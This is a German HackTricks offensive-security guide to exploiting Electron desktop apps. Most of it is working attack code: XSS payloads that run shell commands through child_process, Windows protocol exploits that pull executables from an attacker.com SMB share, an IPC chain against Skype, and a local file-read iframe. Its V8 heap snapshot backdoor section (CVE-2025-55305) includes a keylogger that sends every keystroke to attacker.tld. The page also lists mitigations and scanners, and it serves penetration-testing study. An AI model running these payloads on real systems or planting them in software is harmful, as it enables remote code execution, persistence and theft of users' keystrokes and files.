Electron Desktop-Apps
Reading time: 22 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Einführung
Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige Sicherheitsmechanismen moderner Browser nicht besitzt.
Normalerweise findet man den Electron-App-Code innerhalb einer .asar
-Anwendung; um den Code zu erhalten, muss man ihn extrahieren:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Im Quellcode einer Electron-App findet man in packet.json
die Angabe der main.js
-Datei, in der die Sicherheitskonfigurationen gesetzt sind.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron hat 2 Prozessarten:
- Hauptprozess (hat vollständigen Zugriff auf NodeJS)
- Renderer-Prozess (sollte aus Sicherheitsgründen eingeschränkten NodeJS-Zugriff haben)
Ein Renderer-Prozess ist ein Browserfenster, das eine Datei lädt:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Einstellungen des Renderer-Prozesses können im Hauptprozess innerhalb der main.js-Datei konfiguriert werden. Einige der Konfigurationen verhindern, dass die Electron-Anwendung RCE oder andere Verwundbarkeiten erhält, wenn die Einstellungen korrekt konfiguriert sind.
Die Electron-Anwendung könnte über Node-APIs auf das Gerät zugreifen, obwohl dies durch Konfiguration verhindert werden kann:
nodeIntegration
- ist standardmäßigoff
. Wennon
, erlaubt es den Zugriff auf Node-Funktionen aus dem Renderer-Prozess.contextIsolation
- ist standardmäßigon
. Wennoff
, sind Haupt- und Renderer-Prozesse nicht isoliert.preload
- ist standardmäßig leer.sandbox
- ist standardmäßigoff
. Es beschränkt die Aktionen, die NodeJS ausführen kann.- Node Integration in Workers
nodeIntegrationInSubframes
- ist standardmäßigoff
.- Wenn
nodeIntegration
aktiviert ist, erlaubt das die Verwendung von Node.js APIs in Webseiten, die innerhalb der Electron-Anwendung in iframes geladen werden. - Wenn
nodeIntegration
deaktiviert ist, werden dann Preloads im iframe geladen
Example of configuration:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Einige RCE payloads von hier:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Netzwerkverkehr erfassen
Passe die start-main-Konfiguration an und füge die Verwendung eines Proxy (z. B.) hinzu:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Wenn du eine Electron App lokal ausführen kannst, ist es möglich, dass du sie beliebigen javascript-Code ausführen lassen kannst. Siehe dazu:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Wenn die nodeIntegration auf on gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen ganz einfach nutzen, indem es require()
aufruft. Zum Beispiel, um die calc application unter Windows auszuführen:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Das Skript, das in dieser Einstellung angegeben ist, wird vor anderen Skripten im Renderer geladen, daher hat es uneingeschränkten Zugriff auf Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Daher kann das script node-features in Seiten exportieren:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Wenn
contextIsolation
aktiviert ist, funktioniert das nicht
RCE: XSS + contextIsolation
Die contextIsolation führt zu getrennten Kontexten zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron, sodass die JavaScript-Ausführung des einen Codes den anderen nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:
- Ausführen von beliebigem JavaScript im Renderer (XSS oder Navigation zu externen Seiten)
- Die built-in Methode überschreiben, die in preload oder im internen Electron-Code verwendet wird, um Kontrolle zu erlangen
- Auslösen der Verwendung der überschriebenen Funktion
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Klick-Event umgehen
Wenn beim Klicken eines Links Einschränkungen gelten, kannst du diese möglicherweise durch einen Mittelklick umgehen, statt mit einem normalen Linksklick.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Weitere Informationen zu diesen Beispielen: https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/
Beim Deployen einer Electron desktop application ist es entscheidend, die richtigen Einstellungen für nodeIntegration
und contextIsolation
zu setzen. Es ist etabliert, dass client-side remote code execution (RCE), die auf preload scripts oder Electron's native code vom main process abzielt, mit diesen Einstellungen effektiv verhindert wird.
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden bestimmte Event-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Diese Listener werden von der Desktop-Anwendung überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung prüft, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, openInternally
, getroffen. Wenn diese Funktion false
zurückgibt, bedeutet das, dass der Link extern geöffnet werden soll und dabei die Funktion shell.openExternal
verwendet wird.
Here is a simplified pseudocode:
Die Sicherheits-Best-Practices von Electron JS raten davon ab, nicht vertrauenswürdige Inhalte an die Funktion openExternal
zu übergeben, da dies über verschiedene Protokolle zu RCE führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen können. Für detaillierte Beispiele und eine ausführlichere Erklärung zu diesem Thema kann man auf this resource verweisen, das Windows-Protokollbeispiele enthält, mit denen diese Schwachstelle ausgenutzt werden kann.
Unter macos kann die Funktion openExternal
ausgenutzt werden, um beliebige Befehle auszuführen, etwa mit shell.openExternal('file:///System/Applications/Calculator.app')
.
Beispiele für Windows-Protokoll-Exploits umfassen:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + anfällige preload IPC + shell.openExternal
Diese Schwachstelle ist in this report zu finden.
Der webviewTag ist ein veraltetes Feature, das die Verwendung von NodeJS im renderer process erlaubt und deaktiviert werden sollte, da damit ein Script innerhalb des preload context geladen werden kann, wie:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Daher konnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag verwenden, um ein beliebiges Preload-Skript zu laden.
Dieses Preload-Skript wurde dann missbraucht, um einen verwundbaren IPC-Dienst (skype-new-window
) aufzurufen, der shell.openExternal
aufrief, um RCE zu erlangen:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Interne Dateien lesen: XSS + contextIsolation
Das Deaktivieren von contextIsolation
ermöglicht die Verwendung von <webview>
-Tags, ähnlich wie <iframe>
, um lokale Dateien zu lesen und zu exfiltrieren. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
Außerdem wird eine weitere Methode zum Lesen einer internen Datei vorgestellt, die eine kritische lokale Datei-Lese-Schwachstelle in einer Electron desktop app hervorhebt. Dabei wird ein Skript injiziert, um die Anwendung auszunutzen und Daten zu exfiltrieren:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Wenn der in der Anwendung verwendete chromium alt ist und es dafür bekannte vulnerabilities gibt, könnte es möglich sein, ihn auszunutzen und RCE durch eine XSS zu erlangen.
Du kannst ein Beispiel in diesem writeup sehen: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Angenommen, du hast eine XSS gefunden, aber du kannst damit keinen RCE auslösen oder keine internen Dateien stehlen, könntest du versuchen, sie zu nutzen, um Zugangsdaten via Phishing zu stehlen.
Zuerst musst du wissen, was passiert, wenn du versuchst, eine neue URL zu öffnen, indem du den JS-Code im Frontend überprüfst:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Der Aufruf von openInternally
entscheidet, ob der link im Desktop-Fenster geöffnet wird, da es sich um einen zur Plattform gehörenden link handelt, oder ob er im Browser als Drittanbieter-Ressource geöffnet wird.
Im Falle, dass die von der Funktion verwendete regex anfällig für Bypässe ist (zum Beispiel durch das Nicht-Escapen der Punkte in Subdomains), könnte ein Angreifer die XSS missbrauchen, um ein neues Fenster zu öffnen, das in der Infrastruktur des Angreifers liegt und den Benutzer nach Zugangsdaten fragt:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protokoll
Wie in the docs erwähnt, haben Seiten, die über file://
ausgeführt werden, unbeschränkten Zugriff auf alle Dateien Ihres Rechners. Das bedeutet, dass XSS issues verwendet werden können, um beliebige Dateien vom Rechner des Benutzers zu laden. Die Verwendung eines benutzerdefinierten Protokolls verhindert solche Probleme, da Sie das Protokoll darauf beschränken können, nur eine bestimmte Menge an Dateien auszuliefern.
Remote-Modul
Das Electron Remote-Modul erlaubt, dass renderer processes Zugriff auf main process APIs haben und erleichtert die Kommunikation innerhalb einer Electron-Anwendung. Das Aktivieren dieses Moduls führt jedoch zu erheblichen Sicherheitsrisiken. Es vergrößert die Angriffsfläche der Anwendung und macht sie anfälliger für Schwachstellen wie cross-site scripting (XSS) attacks.
tip
Obwohl das remote-Modul einige APIs vom main an renderer processes weitergibt, ist es nicht trivial, allein durch die Ausnutzung der Komponenten RCE zu erlangen. Die Komponenten könnten jedoch sensible Informationen offenlegen.
warning
Viele Apps, die noch das remote-Modul verwenden, tun dies oft so, dass NodeIntegration im renderer process aktiviert sein muss, was ein riesiges Sicherheitsrisiko darstellt.
Seit Electron 14 könnte das remote
-Modul von Electron in mehreren Schritten aktiviert worden sein; aus Sicherheits- und Performancegründen wird jedoch empfohlen, es nicht zu verwenden.
Um es zu aktivieren, muss es zuerst im main process aktiviert werden:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Dann kann der Renderer-Prozess Objekte aus dem Modul importieren, das er mag:
import { dialog, getCurrentWindow } from '@electron/remote'
Der blog post weist auf einige interessante Funktionen hin, die vom Objekt app
des remote-Moduls bereitgestellt werden:
app.relaunch([options])
- Startet die Anwendung neu, indem die aktuelle Instanz beendet und eine neue gestartet wird. Nützlich für App-Updates oder signifikante Zustandsänderungen.
app.setAppLogsPath([path])
- Legt ein Verzeichnis zum Speichern von App-Logs fest oder erstellt es. Die Logs können mit
app.getPath()
oderapp.setPath(pathName, newPath)
abgerufen oder geändert werden. app.setAsDefaultProtocolClient(protocol[, path, args])
- Registriert die aktuelle ausführbare Datei als Standard-Handler für ein angegebenes Protokoll. Optional können ein benutzerdefinierter Pfad und Argumente angegeben werden.
app.setUserTasks(tasks)
- Fügt Tasks zur Kategorie Tasks in der Jump List (unter Windows) hinzu. Jede Task kann steuern, wie die App gestartet wird oder welche Argumente übergeben werden.
app.importCertificate(options, callback)
- Importiert ein PKCS#12-Zertifikat in den Zertifikatspeicher des Systems (nur Linux). Ein Callback kann verwendet werden, um das Ergebnis zu verarbeiten.
app.moveToApplicationsFolder([options])
- Verschiebt die Anwendung in den Applications-Ordner (auf macOS). Hilft, eine standardisierte Installation für Mac-Benutzer sicherzustellen.
app.setJumpList(categories)
- Legt eine benutzerdefinierte Jump List unter Windows fest oder entfernt sie. Es können Kategorien angegeben werden, um zu organisieren, wie Tasks dem Benutzer angezeigt werden.
app.setLoginItemSettings(settings)
- Konfiguriert, welche ausführbaren Dateien beim Login zusammen mit ihren Optionen gestartet werden (nur macOS und Windows).
Beispiel:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences Modul
Die primäre API zum Zugriff auf Systempräferenzen und zum Auslösen von Systemereignissen in Electron. Methoden wie subscribeNotification, subscribeWorkspaceNotification, getUserDefault und setUserDefault sind alle Teil dieses Moduls.
Beispiel:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Hört auf native macOS-Benachrichtigungen über NSDistributedNotificationCenter.
- Vor macOS Catalina konnte man durch Übergabe von nil an CFNotificationCenterAddObserver all verteilten Benachrichtigungen sniffen.
- Nach Catalina / Big Sur können sandboxed Apps weiterhin many events (z. B. screen locks/unlocks, volume mounts, network activity, etc.) abonnieren, indem sie Benachrichtigungen by name registrieren.
getUserDefault / setUserDefault
-
Schnittstelle zu NSUserDefaults, das Anwendungs- oder globale Einstellungen auf macOS speichert.
-
getUserDefault kann sensible Informationen abrufen, wie z. B. recent file locations oder die geografische Position des Nutzers.
-
setUserDefault kann diese Einstellungen ändern, was die Konfiguration einer App beeinflussen kann.
-
In älteren Electron versions (vor v8.3.0) war nur die standard suite von NSUserDefaults accessible.
Shell.showItemInFolder
Diese Funktion zeigt die angegebene Datei im Dateimanager an, was die Datei automatisch ausführen könnte.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron-Apps sollten eine Content Security Policy (CSP) haben, um XSS attacks zu verhindern. Die CSP ist ein Sicherheitsstandard, der hilft, die Ausführung von untrusted code im Browser zu verhindern.
Sie wird üblicherweise in der main.js
Datei oder in der index.html
Vorlage konfiguriert, mit der CSP in einem meta tag.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Diese echte Kette betraf Visual Studio Code 1.63 (CVE-2021-43908) und zeigt, wie ein einzelnes markdown-driven XSS in einem webview zu vollständiger RCE eskaliert werden kann, wenn CSP, postMessage und scheme handler falsch konfiguriert sind. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: Die generierte CSP enthielt
style-src 'self' 'unsafe-inline'
, was inline-/style-basierte Injection in einemvscode-webview://
Kontext erlaubte. Die Payload beaconte zu/stealID
, um die extensionId der Ziel-webview zu exfiltrieren. - Constructing target webview URL: Using the leaked ID to build
vscode-webview://<extensionId>/.../<publicUrl>
. - Second XSS via postMessage trust: Die äußere webview vertraute
window.postMessage
ohne strikte origin/type-Prüfungen und lud Angreifer-HTML mitallowScripts: true
. - Local file loading via scheme/path rewriting: Die Payload schrieb
file:///...
zuvscode-file://vscode-app/...
um und ersetzteexploit.md
durchRCE.html
, wodurch schwache Pfadvalidierung ausgenutzt wurde, um eine privilegierte lokale Ressource zu laden. - RCE in Node-enabled context: Das geladene HTML wurde mit verfügbaren Node APIs ausgeführt und ermöglichte OS-Kommandoausführung.
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Weiterführende Lektüre zu postMessage-Vertrauensproblemen:
Tools
- Electronegativity ist ein Tool, um Fehlkonfigurationen und Sicherheits-Anti-Pattern in Electron-basierten Anwendungen zu identifizieren.
- Electrolint ist ein Open-Source-VS Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
- nodejsscan um auf verwundbare Third-Party-Bibliotheken zu prüfen
- Electro.ng: Bezahlpflichtig.
Labore
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s findest du ein Lab, um verwundbare Electron-Apps auszunutzen.
Einige Befehle, die dir im Lab helfen werden:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron- und Chromium-basierte Apps deserialisieren beim Start einen vorgefertigten V8-Heap-Snapshot (v8_context_snapshot.bin und optional browser_v8_context_snapshot.bin), um jede V8 isolate (main, preload, renderer) zu initialisieren. Historisch behandelten Electron’s integrity fuses diese Snapshots nicht als ausführbaren Inhalt, sodass sie sowohl fuse-basierter Integritätsdurchsetzung als auch OS code-signing checks entgingen. Folglich ermöglichte das Ersetzen des Snapshots in einer für den Benutzer beschreibbaren Installation eine unauffällige, persistente Ausführung von Angreifer-JavaScript innerhalb der App, ohne die signierten Binaries oder ASAR zu verändern.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation und OnlyLoadAppFromAsar validieren App-JavaScript innerhalb der ASAR, deckten aber V8-Heap-Snapshots nicht ab (CVE-2025-55305). Chromium prüft Snapshots ebenfalls nicht auf Integrität.
- Attack preconditions: Lokales Schreiben von Dateien in das Installationsverzeichnis der App. Das ist häufig auf Systemen, auf denen Electron-Apps oder Chromium-Browser unter für den Benutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local unter Windows; /Applications mit Einschränkungen auf macOS).
- Effect: Zuverlässige Ausführung von Angreifer-JavaScript in jeder isolate durch Überschreiben eines häufig verwendeten builtin (einem “gadget”), wodurch Persistenz erreicht und code-signing verification umgangen werden kann.
- Affected surface: Electron-Apps (selbst mit aktivierten fuses) und Chromium-basierte Browser, die Snapshots aus für den Benutzer beschreibbaren Speicherorten laden.
Generating a malicious snapshot without building Chromium
- Verwende das vorgebaute electron/mksnapshot, um ein payload JS in einen Snapshot zu kompilieren und die v8_context_snapshot.bin der Anwendung zu überschreiben.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Node-only globals wie process.pid, process.binding() oder process.dlopen sind im main process isolate vorhanden.
- Browser/renderer detection: Browser-only globals wie alert verfügbar sind, wenn Code in einem document context ausgeführt wird.
Beispiel-Gadget, das einmal die main-process Node capabilities abfragt
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/browser-context Datenexfiltration PoC (z. B. Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Operator-Workflow
- Erstelle payload.js, das ein gängiges builtin (z. B. Array.isArray) überschreibt und optional pro isolate verzweigt.
- Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- Überschreibe die Snapshot-Datei(en) der Zielanwendung:
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
- Starte die Anwendung; das Gadget wird immer dann ausgeführt, wenn das gewählte builtin verwendet wird.
Anmerkungen und Überlegungen
- Integrity/signature bypass: Snapshot-Dateien werden von Code-Signing-Prüfungen nicht als native ausführbare Dateien behandelt und waren (historisch) nicht durch Electron’s fuses oder Chromium-Integritätskontrollen abgedeckt.
- Persistence: Das Ersetzen des Snapshots in einer benutzerschreibbaren Installation überdauert typischerweise App-Neustarts und erscheint wie eine signierte, legitime App.
- Chromium browsers: Dasselbe Manipulationskonzept gilt für in benutzerschreibbaren Verzeichnissen installierte Chrome/derivatives. Chrome verfügt über weitere Integritätsmaßnahmen, schließt jedoch physisch lokale Angriffe ausdrücklich aus seinem threat model aus.
Erkennung und Gegenmaßnahmen
- Behandle Snapshots als ausführbare Inhalte und beziehe sie in Integritätsprüfungen ein (CVE-2025-55305 fix).
- Bevorzuge nur für Admins beschreibbare Installationsorte; erstelle Baselines und überwache Hashes für v8_context_snapshot.bin und browser_v8_context_snapshot.bin.
- Erkenne frühzeitiges Überschreiben von builtins zur Laufzeit und unerwartete Snapshot-Änderungen; löse Alarm aus, wenn deserialisierte Snapshots nicht den erwarteten Werten entsprechen.
References
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.